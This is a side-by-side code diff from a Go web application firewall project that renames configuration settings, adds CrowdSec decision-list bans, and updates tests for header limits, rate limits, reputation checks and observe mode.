ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr(). "SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
String(), String(),
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1", "SWW_WAF_LOG_REMOTE_BUFFER": "1",
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
} }
@@ -1045,7 +1127,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
ruleFilesDir: rules, rulesDir: rules,
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url, "SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret, "SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
instanceName: instance, instanceName: instance,
@@ -1151,7 +1233,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
rateLimitPerDay: "1", rateLimitPerDay: "1",
// The metrics are read from 127.0.0.1, which no limit counts. // The metrics are read from 127.0.0.1, which no limit counts.
"SWW_WAF_ALLOW_NETS": localhost + "/32", "SWW_WAF_ALLOW_NETS": localhost + "/32",
@@ -1245,7 +1327,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
out := &output{} out := &output{}
status := run(ctx, map[string]string{ status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
cacheDir: filepath.Join(t.TempDir(), "missing"), cacheDir: filepath.Join(t.TempDir(), "missing"),
}, out) }, out)
if status != 1 { if status != 1 {
@@ -1274,7 +1356,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
out := &output{} out := &output{}
status := run(ctx, map[string]string{ status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
}, out) }, out)
if status != 1 { if status != 1 {
t.Fatalf("exit status %d, want 1", status) t.Fatalf("exit status %d, want 1", status)
@@ -1304,7 +1386,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
out := &output{} out := &output{}
status := run(ctx, map[string]string{ status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir, listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
}, out) }, out)
if status != 1 { if status != 1 {
t.Fatalf("exit status %d, want 1", status) t.Fatalf("exit status %d, want 1", status)
@@ -1376,8 +1458,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
"SWW_WAF_MODE": "enforce", "SWW_WAF_MODE": "enforce",
bansWriteDelay: "10s", stateWriteDelay: "10s",
stateWriteInterval: "15m", stateCounterInterval: "15m",
"SWW_WAF_ALLOW_NETS": "", "SWW_WAF_ALLOW_NETS": "",
rateLimitExemptNets: "", rateLimitExemptNets: "",
"SWW_WAF_DENY_NETS": "", "SWW_WAF_DENY_NETS": "",
@@ -1390,11 +1472,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
"SWW_WAF_BAN_RESPONSE": "403", "SWW_WAF_BAN_RESPONSE": "403",
"SWW_WAF_LIMIT_BAN_DURATION": "1h", "SWW_WAF_LIMIT_BAN_DURATION": "1h",
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h", "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d", "SWW_WAF_MAX_BAN_DURATION": "7d",
"SWW_WAF_ATTACK_BAN_DURATION": "7d", "SWW_WAF_ATTACK_BAN_DURATION": "7d",
"SWW_WAF_MAX_BANS": "5000", "SWW_WAF_MAX_BANS": "5000",
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32", "SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
"SWW_WAF_RULE_FILES_ENABLED": "true", "SWW_WAF_RULES_ENABLED": "true",
} }
for name, value := range want { for name, value := range want {
internal/sww/waf_test.go
+2 -2
View File
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
listenAddr+"="+localhost+":0", listenAddr+"="+localhost+":0",
stateDir+"="+dir, stateDir+"="+dir,
cacheDir+"="+dir, cacheDir+"="+dir,
ruleFilesDir+"="+t.TempDir(), rulesDir+"="+t.TempDir(),
lookupSource+"=off") lookupSource+"=off")
exited := startProcess(t, cmd) exited := startProcess(t, cmd)
@@ -280,7 +280,7 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), rulesDir: filepath.Join("..", "..", "share", "rules.d"),
} }
runWAF(t, env, func(addr string) { runWAF(t, env, func(addr string) {
internal/waf/abuseipdb.go
+3 -3
View File
@@ -1,7 +1,7 @@
package waf package waf
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY, // The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION. // SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
import ( import (
"context" "context"
@@ -16,7 +16,7 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with // abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request // the score, when its score of the client is a hit, and refuses the request
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While // when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is // SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts // checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then // an offence, and the request does not wait for the answer. The score is then
@@ -54,7 +54,7 @@ func (abuseIPDB) check(
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE", "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
) )
if rq.h.config.DNSBLAbuseIPDBAction != deny { if rq.h.config.ReputationAction != deny {
return nil return nil
} }
internal/waf/alerts_test.go
+3 -3
View File
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
start := clk.Now() start := clk.Now()
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
s, _, _, queue := startWithAlerts(t, map[string]string{ s, _, _, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
alertMaxPerHour: "2", alertMaxPerHour: "2",
}) })
internal/waf/anomaly_internal_test.go
+1 -1
View File
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
client: netip.MustParseAddr("203.0.113.9"), client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true, lookedUp: true,
}, },
h: &handler{config: &config.WAF{LookupSource: "geojs"}}, h: &handler{config: &config.Config{LookupSource: "geojs"}},
} }
defer func() { defer func() {
internal/waf/anomaly_test.go
+9 -9
View File
@@ -25,7 +25,7 @@ const (
anomalyNet = "SWW_WAF_ANOMALY_NET_" anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_" anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_" anomalyWatch = "SWW_WAF_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR" requestsPerHour = "REQUESTS_PER_HOUR"
@@ -37,7 +37,7 @@ const (
const ( const (
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS" watchNets = "SWW_WAF_WATCH_NETS"
) )
const ( const (
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}}, {anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil}, {anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{ {
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet), anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"}, "the named netblock office, " + clientsNet, map[string]any{"name": "office"},
}, },
} { } {
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) { t.Run(setting, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{setting: value, watchedNets: office} env := map[string]string{setting: value, watchNets: office}
s, clk, server, queue := startWithLookupsAndClock(t, env) s, clk, server, queue := startWithLookupsAndClock(t, env)
start := clk.Now() start := clk.Now()
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With every threshold off, nothing is counted. // With every threshold off, nothing is counted.
s, server, queue := startWithLookups( s, server, queue := startWithLookups(
t, t,
map[string]string{watchedNets: office}, map[string]string{watchNets: office},
) )
for range 5 { for range 5 {
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With one set, its count alone is counted, in its scope alone. // With one set, its count alone is counted, in its scope alone.
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
anomalyNet + requestsPerMinute: aLot, watchedNets: office, anomalyNet + requestsPerMinute: aLot, watchNets: office,
}) })
for range 5 { for range 5 {
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now, addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
anomalyASN + requestsPerMinute: aLot, anomalyASN + requestsPerMinute: aLot,
}) })
server.Store(started) server.Store(started)
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t, t,
readAndAnswer, readAndAnswer,
map[string]string{ map[string]string{
anomalyWatchedNet + requestsPerMinute: aLot, anomalyWatch + requestsPerMinute: aLot,
watchedNets: office + ",wide=203.0.0.0/16" + watchNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25", ",other=198.51.100.0/25",
}, },
) )
internal/waf/answertime_test.go
+47 -39
View File
@@ -29,13 +29,13 @@ import (
) )
const ( const (
// answerTimeLimit is the default of rproxy's // answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer. // waf has to answer.
answerTimeLimit = 2 * time.Second answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS. // defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond defaultLookupWait = 800 * time.Millisecond
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS. // defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT.
defaultDNSBLAbuseIPDBWait = 2 * time.Second defaultReputationWait = 2 * time.Second
// The header limits SPEC.md gives. // The header limits SPEC.md gives.
cookieLimit = 50 cookieLimit = 50
headerFieldLimit = 100 headerFieldLimit = 100
@@ -48,6 +48,9 @@ const (
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check" silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all. // wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100 wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
) )
// cookies returns a Cookie header's value with count cookies. // cookies returns a Cookie header's value with count cookies.
@@ -77,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
) { ) {
t.Parallel() t.Parallel()
s := startWAF(t, "", map[string]string{coreRuleSetMode: block}) s := startWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -157,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s := startWAF(t, "", map[string]string{coreRuleSetMode: block}) s := startWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
tc.make(req) tc.make(req)
@@ -192,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel() t.Parallel()
for _, env := range []map[string]string{ for _, env := range []map[string]string{
{coreRuleSetMode: off}, {wafMode: off},
{coreRuleSetMode: "detect"}, {wafMode: "detect"},
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"}, {wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
} { } {
t.Run(fmt.Sprint(env), func(t *testing.T) { t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -214,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
s := startWAF( s := startWAF(
t, t,
"", "",
map[string]string{coreRuleSetMode: block, allowNets: client}, map[string]string{wafMode: block, allowNets: client},
) )
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -225,11 +228,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) { func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel() t.Parallel()
s := startWAF( s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
t,
"",
map[string]string{mode: observe, coreRuleSetMode: block},
)
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -293,9 +292,13 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
"/", leaveAsItIs, "/", leaveAsItIs,
}, },
{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient}, {"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
{
"the CrowdSec decision list",
map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
},
{ {
"a DNS blocklist", map[string]string{ "a DNS blocklist", map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny, dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
}, },
"/", func(_ *testing.T, server *waf.Server, _ time.Time) { "/", func(_ *testing.T, server *waf.Server, _ time.Time) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}}) loadVerdicts(server, map[string][]string{client: {dnsblZone}})
@@ -303,7 +306,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
}, },
{ {
"AbuseIPDB", "AbuseIPDB",
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny}, map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) { "/", func(_ *testing.T, server *waf.Server, _ time.Time) {
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default. // Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadScores(server, map[string]int64{client: 80}) loadScores(server, map[string]int64{client: 80})
@@ -322,9 +325,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
leaveAsItIs, leaveAsItIs,
}, },
{ {
"a block rule", "a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
map[string]string{ruleFilesDir: writeRules(t, testRules)},
"/blocked",
leaveAsItIs, leaveAsItIs,
}, },
} { } {
@@ -365,9 +366,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
t, t,
map[string]standInRoute{client: {prefixDE, 64496}}, map[string]standInRoute{client: {prefixDE, 64496}},
), ),
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog, dnsblZones: dnsblZone, reputationAction: actionLog,
ruleFilesDir: writeRules(t, "noted path log ^/\n"), rulesDir: writeRules(t, "noted path log ^/\n"),
coreRuleSetMode: block, wafMode: block,
}) })
loadLists(t, s.server, map[string][]string{vpnList: {client}}) loadLists(t, s.server, map[string][]string{vpnList: {client}})
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}}) loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
@@ -425,9 +426,7 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
// not wait. // not wait.
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{ s := startWAF(t, geojsURL, map[string]string{
unknownCountryLimitPercent: "0", unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
}) })
countClient(t, s.server, s.clock.Now()) countClient(t, s.server, s.clock.Now())
@@ -460,7 +459,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
// not wait. // not wait.
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{ s := startWAF(t, geojsURL, map[string]string{
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1", unknownLimitPercent: "0", rateLimitPerMinute: "1",
}) })
s.server.GeoJS.Load([]lookup.Answer{{ s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512", Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
@@ -495,7 +494,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{ s := startWAF(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000", mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
}) })
req := s.question(siteA, fromDE, "/") req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -585,6 +584,12 @@ func listClient(t *testing.T, server *waf.Server, now time.Time) {
} }
} }
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *waf.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing. // leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *waf.Server, time.Time) {} func leaveAsItIs(*testing.T, *waf.Server, time.Time) {}
@@ -618,9 +623,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
}, },
{ {
name: "the rate limits, with a biased threshold", name: "the rate limits, with a biased threshold",
env: map[string]string{ env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
},
prepare: countClient, status: forbidden, prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited, action: requestlog.ActionClientIsRateLimited,
}, },
@@ -628,6 +631,12 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL}, name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied, prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
}, },
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
},
{ {
name: "the header limits", cookie: cookies(cookieLimit + 1), name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge, prepare: leaveAsItIs, status: tooLarge,
@@ -637,9 +646,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, // says, so that a request that does not wait takes no time at all.
// so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out := newWAFInBubble(t, tc.env) server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
@@ -751,18 +759,18 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
return waf.New(params) return waf.New(params)
}, silentGeoJSURL, time.Now, map[string]string{ }, silentGeoJSURL, time.Now, map[string]string{
tagDeny: "country=KP", coreRuleSetMode: block, tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver, dnsblZones: dnsblZone, dnsblResolver: resolver,
abuseIPDBKey: accountKey, abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt", blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
}) })
// The lists are fetched outside the synctest bubble below: a wait on the // The lists are fetched outside the synctest bubble below: a wait on the
// network inside it would keep its clock from moving on. // network inside it would keep its clock from moving on.
go server.Lists.Run(t.Context()) go server.Lists.Run(t.Context())
// In the bubble, as // In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
// answer takes exactly as long as waf waits, however busy the host is. // answer takes exactly as long as waf waits, however busy the host is.
// GeoJS and AbuseIPDB never answer there, without the network. The query to // GeoJS and AbuseIPDB never answer there, without the network. The query to
// the DNS blocklist waits on the network, which stops the bubble's clock, // the DNS blocklist waits on the network, which stops the bubble's clock,
@@ -824,7 +832,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// The query is answered, and the check with AbuseIPDB abandoned, // The query is answered, and the check with AbuseIPDB abandoned,
// before the bubble ends. // before the bubble ends.
releaseResolver() releaseResolver()
time.Sleep(defaultDNSBLAbuseIPDBWait) time.Sleep(defaultReputationWait)
}) })
} }
internal/waf/bans.go
+56 -4
View File
@@ -11,6 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -80,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
// countedBytes returns the request's bytes, once it has ended, as the // countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body // byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says. // bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
func (rq *request) countedBytes() int64 { func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes response, request := rq.out.bytes, rq.requestBytes
switch rq.h.config.BytesCounted { switch rq.h.config.BytesCount {
case "response": case "response":
return response return response
case "request": case "request":
@@ -99,8 +100,8 @@ func (rq *request) countedBytes() int64 {
// the metrics. status is what the client was sent, or is sent: // the metrics. status is what the client was sent, or is sent:
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for // SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the // one whose bytes broke a byte limit, the refusal for one that broke the
// refusal limit. The ban's notes give the client's limit percentage for a // error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets // rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made, // sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent. // if that alert would be sent.
@@ -205,6 +206,57 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
return banAction(ban.Permanent()) return banAction(ban.Permanent())
} }
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec(
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe &&
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
netblock,
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause // wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would // made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per // have made is worked out only then, at most once per
internal/waf/bans_test.go
+5 -5
View File
@@ -93,7 +93,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
